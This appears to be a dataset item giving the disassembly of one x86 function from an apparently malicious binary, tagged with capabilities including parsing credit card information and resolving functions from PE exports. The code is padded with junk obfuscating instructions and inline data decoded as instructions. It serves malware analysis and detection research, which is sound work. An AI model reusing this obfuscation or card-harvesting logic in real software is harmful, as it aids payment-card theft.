Function at 0x1000d4f9
Capabilities:
Get number of processors
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
sub edx, ecx
mov dword [ebp - 0x14], edx
push ebx
push ecx
add esp, 4
sub ebx, 0x15040
add ebx, 0x5a60
pop ebx
push edx
xor edx, 0x97ac
pop edx
push edx
push edx
add esp, 4
and edx, 0x63f
add edx, 0x65bc
add edx, 0xe337
pop edx
push eax
push eax
add esp, 4
jmp 0x10009f14
or eax, 0x16b06
sub eax, 0x228c
pop eax
push edi
push eax
add esp, 4
add edi, 0xa183
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x8278
pop ebx
mov dword [ebp - 0x2c], 1
push ecx
and ecx, 0x218b
or ecx, 0xb746
pop ecx
push eax
add eax, 0x68f4
or eax, 0xcfc5
pop eax
push edx
and edx, 0x1830c
sub edx, 0x10bef
pop edx
push ebx
and ebx, 0x11f0d
pop ebx
imul edx, dword [ebp - 0x2c], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x2c], 0xfe
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0xfe
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x1000a153
mov ecx, dword [ebp - 0x1068]
mov edx, dword [ebp - 0x1064]
mov dword [ebp - 0x163c], ecx
mov dword [ebp - 0x1638], edx
push ebx
xor ebx, 0xf4e9
or ebx, 0x60ca
pop ebx
push edx
add edx, 0x3b4c
call 0x1000a18c
add byte [ecx], bh
inc esi
dec edi
dec edi
dec eax
add esp, 4
and edx, 0x44df
jmp 0x1000a19c
pop edx
push edi
and edi, 0x14853
sub edi, 0x83e7
pop edi
push esi
sub esi, 0x1342c
call 0x1000a1bf
add byte [edi + 0x49], al
cmp al, 0x41
xor bh, byte [0x4c48336]
add esi, 0x2971
and esi, 0x17d81
pop esi
mov eax, dword [ebp - 0x30]
add eax, 0xfe
imul ecx, dword [ebp - 0x2c], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x2c], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1e3c], eax
push edi
push edx
add esp, 4
and edi, 0x2d56
or edi, 0x177ca
or edi, 0x3b0a
pop edi
push ebx
sub ebx, 0xe529
and ebx, 0x13add
and ebx, 0x10f3c
add ebx, 0x1312b
pop ebx
mov eax, dword [ebp - 0x163c]
add eax, 0xfe
imul ecx, dword [ebp - 0x1638], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x1638], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1638]
mov dword [ebp - 0x1e38], eax
mov eax, dword [ebp - 0x1e38]
mov dword [ebp - 0x1e40], eax
mov ecx, dword [ebp - 0x1e3c]
cmp ecx, dword [ebp - 0x1e40]
jae 0x1000a287
mov dword [ebp - 0x15ac], 1
jmp 0x1000a291
mov dword [ebp - 0x15ac], 0
mov dl, byte [ebp - 0x15ac]
mov byte [ebp - 0x3ad], dl
movzx eax, byte [ebp - 0x3ad]
test eax, eax
je 0x1000d304
push eax
push esi
add esp, 4
or eax, 0xe812
pop eax
push ebx
and ebx, 0xfd00
or ebx, 0x13252
call 0x1000a2d1
add byte [ebp + 0x41], al
dec edx
dec esi
cmp eax, dword [ebx + 0x7eb04c4]
inc esp
cmp dword [ebp + 0x32], ecx
inc ebx
aaa
pop ebx
push edi
push edx
add esp, 4
call 0x1000a2f0
add byte [edi + 0x3a], al
dec ebx
aas
dec esp
inc esi
xor eax, dword [ebx + 0x505f04c4]
push edx
add esp, 4
add eax, 0x17012
call 0x1000a30c
add byte [ebx], dh
aas
dec ebp
cmp cl, byte [ecx + 0x4f]
cmp al, 0x83
les eax, [eax + ebx*2]
mov ecx, dword [ebp - 0x30]
add ecx, 0xfe
imul edx, dword [ebp - 0x2c], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x2c], 0xfe
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1e44], ecx
mov ecx, dword [ebp - 0x1e44]
mov dword [ebp - 0x1e48], ecx
cmp dword [ebp - 0x1e48], 0x63c1
jne 0x1000a48b
push edi
jmp 0x1000a360
and edi, 0x75f4
sub edi, 0x54f2
pop edi
push esi
jmp 0x1000a377
call 0x1000a385
add byte [edi], dh
aaa
aas
dec eax
xor cl, byte [edi + 0x50]
xor eax, 0x5e04c483
mov edx, dword [ebp - 0x14]
add edx, 0xfe
imul eax, dword [ebp - 0x10], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x10], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1e4c], edx
mov edx, dword [ebp - 0x1e4c]
mov dword [ebp - 0x1e50], edx
mov eax, dword [ebp - 0x1e50]
sub eax, 0x898
mov dword [ebp - 0x1e54], eax
mov dword [ebp - 0x106c], 1
push ecx
jmp 0x1000a3e1
and ecx, 0x11590
xor ecx, 0xc243
and ecx, 0xaf0f
pop ecx
push eax
push edi
add esp, 4
or eax, 0x1383b
pop eax
push ebx
push esi
add esp, 4
or ebx, 0x534a
pop ebx
imul ecx, dword [ebp - 0x106c], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x106c], 0xfe
sub ecx, edx
xor ecx, dword [ebp - 0x1e54]
imul ecx, dword [ebp - 0x106c]
imul eax, dword [ebp - 0x106c], 0xfe
sub ecx, eax
mov dword [ebp - 0x1070], ecx
mov ecx, dword [ebp - 0x1070]
mov edx, dword [ebp - 0x106c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push edi
push edi
add esp, 4
xor edi, 0x16943
call 0x1000a473
add byte [esi], dh
cmp ecx, dword [ebp + 0x4f]
dec ecx
inc ebp
inc esp
dec esp
aas
add esp, 4
or edi, 0x10839
pop edi
push esi
and esi, 0x7045
sub esi, 0xb78f
pop esi
push ebx
xor ebx, 0xe114
call 0x1000a49f
add byte [ecx + 0x43], cl
dec esp
dec ebx
dec esi
dec esi
dec esp
add esp, 4
pop ebx
push ebx
and ebx, 0x14645
xor ebx, 0x98ce
and ebx, 0x523e
xor ebx, 0x15fea
pop ebx
mov eax, dword [ebp - 0x14]
add eax, 0xfe
imul ecx, dword [ebp - 0x10], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x10], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1e58], eax
mov eax, dword [ebp - 0x1e58]
mov dword [ebp - 0x1ec8], eax
lea ecx, [ebp - 0x9b0]
mov dword [ebp - 0x3e0], ecx
mov edx, dword [ebp - 0x3e0]
mov dword [edx + 4], 1
push ebx
xor ebx, 0x14793
or ebx, 0x9308
call 0x1000a528
add byte [edx], dh
dec edi
inc ebx
dec ebp
xor edi, dword [edi + ecx*2]
dec ecx
inc esp
add esp, 4
sub ebx, 0xbd5d
pop ebx
push edx
push ebx
add esp, 4
and edx, 0xd8c4
pop edx
mov eax, dword [ebp - 0x3e0]
imul ecx, dword [eax + 4], 0xfe
add ecx, 0x56f3663b
mov edx, dword [ebp - 0x3e0]
imul eax, dword [edx + 4], 0xfe
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3e0]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3e0]
imul edx, dword [eax + 4], 0xfe
sub ecx, edx
mov eax, dword [ebp - 0x3e0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x205c], ecx
push edi
or edi, 0xd9e9
pop edi
push eax
push esi
add esp, 4
and eax, 0xe436
and eax, 0x8b21
and eax, 0xf87c
pop eax
push eax
push eax
add esp, 4
xor eax, 0x27c7
or eax, 0x1e80
pop eax
mov dword [ebp - 0x15b4], 1
push ebx
push ecx
add esp, 4
add ebx, 0x6316
and ebx, 0xea01
or ebx, 0x6ef1
and ebx, 0x112e
pop ebx
push ecx
and ecx, 0xb09
xor ecx, 0x686b
or ecx, 0xf51f
pop ecx
mov dword [ebp - 0x2060], 0x38
mov dword [ebp - 0x2064], 0xe6
mov dword [ebp - 0x2068], 0x6e
mov dword [ebp - 0x206c], 0x6e
mov dword [ebp - 0x2070], 0x78
mov dword [ebp - 0x1640], 1
push eax
push ebx
add esp, 4
add eax, 0x80ed
sub eax, 0x7283
sub eax, 0xb096
sub eax, 0x9af0
pop eax
push edx
xor edx, 0x2c8a
sub edx, 0x16816
add edx, 0x1810f
pop edx
imul edx, dword [ebp - 0x1640], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x1640], 0xfe
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1640]
imul ecx, dword [ebp - 0x1640], 0xfe
sub edx, ecx
mov dword [ebp - 0x1644], edx
push eax
push eax
add esp, 4
jmp 0x1000a6b3
pop eax
push eax
push edx
add esp, 4
sub eax, 0x15610
add eax, 0x1849a
jmp 0x1000a6cc
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x4bfe
pop eax
push ebx
push ecx
add esp, 4
call 0x1000a6ed
add byte [ebx], bh
xor eax, dword [ecx + 0x41]
cmp eax, dword [edi + 0x3a]
inc ebp
cmp al, 0x83
les eax, [ecx + eax*4]
ret
mov dword [ebp - 0x3f4], 0
call 0x1000d313
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f4], eax
push edi
and edi, 0x13262
add edi, 0x11c4e
add edi, 0x59d0
pop edi
push edi
push edx
add esp, 4
xor edi, 0xd041
sub edi, 0xb792
jmp 0x1000d34a
and edi, 0xf70c
pop edi
mov ecx, dword [ebp - 0x20a4]
mov dword [ebp - 0x15c8], ecx
push ecx
push esi
add esp, 4
xor ecx, 0x1275b
sub ecx, 0x118ba
sub ecx, 0x149c7
or ecx, 0x90b1
pop ecx
push ecx
xor ecx, 0x3ea3
sub ecx, 0x503b
add ecx, 0x15cd9
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0xfe
imul eax, dword [ebp - 0x10], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x10], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c8], edx
mov edx, dword [ebp - 0x3f4]
mov dword [ebp - 0x1fec], edx
mov eax, dword [ebp - 0x1fec]
add eax, dword [ebp - 0x15c8]
mov dword [ebp - 0x3f4], eax
push eax
push eax
add esp, 4
call 0x1000d3eb
add byte [ebp + 0x3b], cl
inc ebx
dec edi
cmp eax, 0x384f393a
add esp, 4
xor eax, 0x17178
pop eax
push ecx
sub ecx, 0x172e2
or ecx, 0x17f36
sub ecx, 0x12deb
pop ecx
mov byte [ebp - 0xbf0], 0x52
mov byte [ebp - 0xbef], 0xb9
mov byte [ebp - 0xbee], 0x10
mov byte [ebp - 0xbed], 0x10
mov byte [ebp - 0xbec], 0x10
mov byte [ebp - 0xbeb], 0x10
mov byte [ebp - 0xbea], 0x5a
push edx
xor edx, 0x11cd8
add edx, 0x143de
or edx, 0x84c5
pop edx
push esi
push ecx
add esp, 4
sub esi, 0x13628
sub esi, 0x8c55
and esi, 0x177df
and esi, 0x16504
pop esi
mov byte [ebp - 0xbe8], 0x52
mov byte [ebp - 0xbe7], 0xb9
mov byte [ebp - 0xbe6], 0x20
mov byte [ebp - 0xbe5], 0x20
mov byte [ebp - 0xbe4], 0x20
mov byte [ebp - 0xbe3], 0x20
mov byte [ebp - 0xbe2], 0x5a
push edi
push ecx
add esp, 4
and edi, 0xc95
pop edi
push edi
add edi, 0x1421c
call 0x1000d4bd
add byte [esi], bh
push eax
dec eax
inc esp
dec eax
aas
dec ebp
add esp, 4
pop edi
push eax
xor eax, 0x118ab
or eax, 0xc8
pop eax
mov dword [ebp - 0x20a8], 0xe
push ebx
and ebx, 0xd448
and ebx, 0x8d9d
add ebx, 0x11a5f
call 0x1000d4f9
add byte [ebx + 0x38], al
cmp bh, byte [ecx]
cmp dword ss:[ecx - 0x7d], ecx
les eax, [ebx + ebx*2]
push esi
and esi, 0x10a65
xor esi, 0x13a71
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbf0]
mov dword [ebp - 0x15cc], eax
push edi
push ecx
add esp, 4
sub edi, 0x1c89
jmp 0x1000d530
and edi, 0xb27a
jmp 0x1000d53f
pop edi
push ecx
push edi
add esp, 4
and ecx, 0xce4
add ecx, 0x182c1
pop ecx
mov dword [ebp - 0x20ac], 0xffffffff
push esi
push ebx
add esp, 4
jmp 0x1000d569
add esi, 0x163c2
xor esi, 0x9b08
pop esi
push edx
push eax
add esp, 4
and edx, 0x13ae7
or edx, 0x13dec
xor edx, 0x12d35
pop edx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x500], ecx
jmp 0x1000d5ab